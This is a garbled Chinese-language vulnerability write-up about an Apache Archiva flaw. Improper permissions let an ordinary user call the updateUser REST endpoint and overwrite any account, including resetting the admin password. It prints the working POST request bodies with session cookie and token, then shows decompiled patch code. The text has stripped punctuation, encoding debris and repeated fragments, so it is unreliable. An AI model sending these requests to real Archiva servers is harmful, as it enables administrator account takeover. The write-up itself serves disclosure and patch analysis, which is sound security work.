。

它能够与Maven#xff0c;Continuum和ANT等构建工具完美结合。

Archiva提供的功能包括#xff1a;远程Repository代理#xff0c;基于角色的安全访问管理#xff0c;Artifact分发、维护、查询#xff0c;生成使用…Apache

Repository管理系统。

它能够与MavenContinuum和ANT等构建工具完美结合。

Archiva提供的功能包括远程Repository代理基于角色的安全访问管理Artifact分发、维护、查询生成使用报告提供基于Web的管理界面等。

Apache

管理员创建的普通用户其权限设置不当导致普通用户可以修改任意用户信息。

影响版本

/restServices/redbackServices/userService/updateUser

HTTP/1.1

{username:admin,password:admin123,confirmPassword:admin123,fullName:***

administrator,email:adminadmin.com,permanent:true,validated:true,timestampAccountCreation:Mon,

Apr

ago,timestampLastLogin:null,timestampLastPasswordChange:Mon,

Apr

ago,locked:false,passwordChangeRequired:false,assignedRoles:[Global

Repository

Administrator],modified:true,readOnly:false,userManagerId:jdo,rememberme:false,validationToken:null,logged:false}

POST

/restServices/redbackServices/userService/updateUser

HTTP/1.1

I1ngx29RJKOGWUmBxHVfK39m8LWeZpH3GGPmN/AVxHaaAa7TUveJDvO48ZKgQdclv7P8Zga9ZowMgEW0QPm9q7kq2s0f7M0dUjrvNaislYP18IDjg18zey0jTvGlQlISdTOikY23gVn5C5AZcJp5mxN3LsB6OWWpFweD4pBgJwUc1ij38n4w5nOUA0l4k8/Q3YoGDRvKL3mK5QTQVpCDt89dxXI0xpHVYhLkdOTvJlE1WMXV8XN1Hev/Ipvr6XBlhl2tKRvnnWTD8GgxULnBdFdo6EQ4JBYYoWih8YCbSC6vIQCmyGQhkzulIDnCmqsiLH4s4c9Y6Uqeohnw

X-Requested-With:

JSESSIONIDn2pfvjl209zinxflbferxloq;

archiva_login%7B%22username%22%3A%22user%22%2C%22password%22%3Anull%2C%22confirmPassword%22%3Anull%2C%22fullName%22%3A%22user123%22%2C%22email%22%3A%22user123%40user123.com%22%2C%22permanent%22%3Afalse%2C%22validated%22%3Atrue%2C%22timestampAccountCreation%22%3Anull%2C%22timestampLastLogin%22%3Anull%2C%22timestampLastPasswordChange%22%3Anull%2C%22locked%22%3Afalse%2C%22passwordChangeRequired%22%3Afalse%2C%22assignedRoles%22%3A%5B%5D%2C%22modified%22%3Afalse%2C%22readOnly%22%3Afalse%2C%22userManagerId%22%3Anull%2C%22rememberme%22%3Afalse%2C%22validationToken%22%3A%22I1ngx29RJKOGWU%2BmBxHVfK39m8LWeZpH3GGPmN%2FAVxHaaAa7%2BTUveJDvO48Z%2BKgQdclv7P8Zga9ZowMgEW0Q%2BPm9q7kq2s0f7M0dUjrvNaislYP18IDjg18zey0jTvGlQlISdTOikY23gVn5%2BC5AZcJp5mxN3LsB6OWWpFweD4pBgJwUc1ij38n4w5nOUA0l4k8%2FQ3YoGDRvKL3mK5QTQVpCDt89dxXI0xpH%2BVYhLkdOTvJlE1WMXV8XN1Hev%2FIpvr6XBlhl2tKRvnnWTD8GgxULnBdFdo6EQ4JBYYoWih8YCbSC6vIQCmyGQhkzulIDnCmqsiLH4s4c9Y6Uqeohnw%3D%3D%22%2C%22logged%22%3Afalse%7D

Connection:

{username:admin,password:user456,confirmPassword:user456,fullName:***

administrator,email:adminadmin.com,permanent:true,validated:true,timestampAccountCreation:Mon,

Apr

ago,timestampLastLogin:null,timestampLastPasswordChange:Mon,

Apr

ago,locked:false,passwordChangeRequired:false,assignedRoles:[Global

Repository

Administrator],modified:true,readOnly:false,userManagerId:jdo,rememberme:false,validationToken:null,logged:false}

登录管理员账号

必须要有user-management-user-edit权限才能访问然而我们普通也会有这个权限

后续修复

RedbackAu***nticationThreadLocal.get();if

null

redbackRequestInformation.getUser()

null)

Status.BAD_REQUEST.getStatusCode());}

else

(!StringUtils.equals(redbackRequestInformation.getUser().getUsername(),

user.getUsername())

!StringUtils.equals(redbackRequestInformation.getUser().getUsername(),

admin))

Status.FORBIDDEN.getStatusCode());}

else

{org.apache.archiva.redback.users.User

rawUser

this.userManager.findUser(user.getUsername(),

false);rawUser.setFullName(user.getFullName());rawUser.setEmail(user.getEmail());rawUser.setValidated(user.isValidated());rawUser.setLocked(user.isLocked());rawUser.setPassword(user.getPassword());rawUser.setPasswordChangeRequired(user.isPasswordChangeRequired());rawUser.setPermanent(user.isPermanent());this.userManager.updateUser(rawUser);return

Boolean.TRUE;}

RedbackServiceException(var4.getMessage());}

catch

ErrorMessage(var5.getMessage()));}}}

else

{this.log.warn(RedbackRequestInformation

from

Status.FORBIDDEN.getStatusCode());}

可以看到前端传入的Username做了再次的校验对比了redbackRequestInformation的username值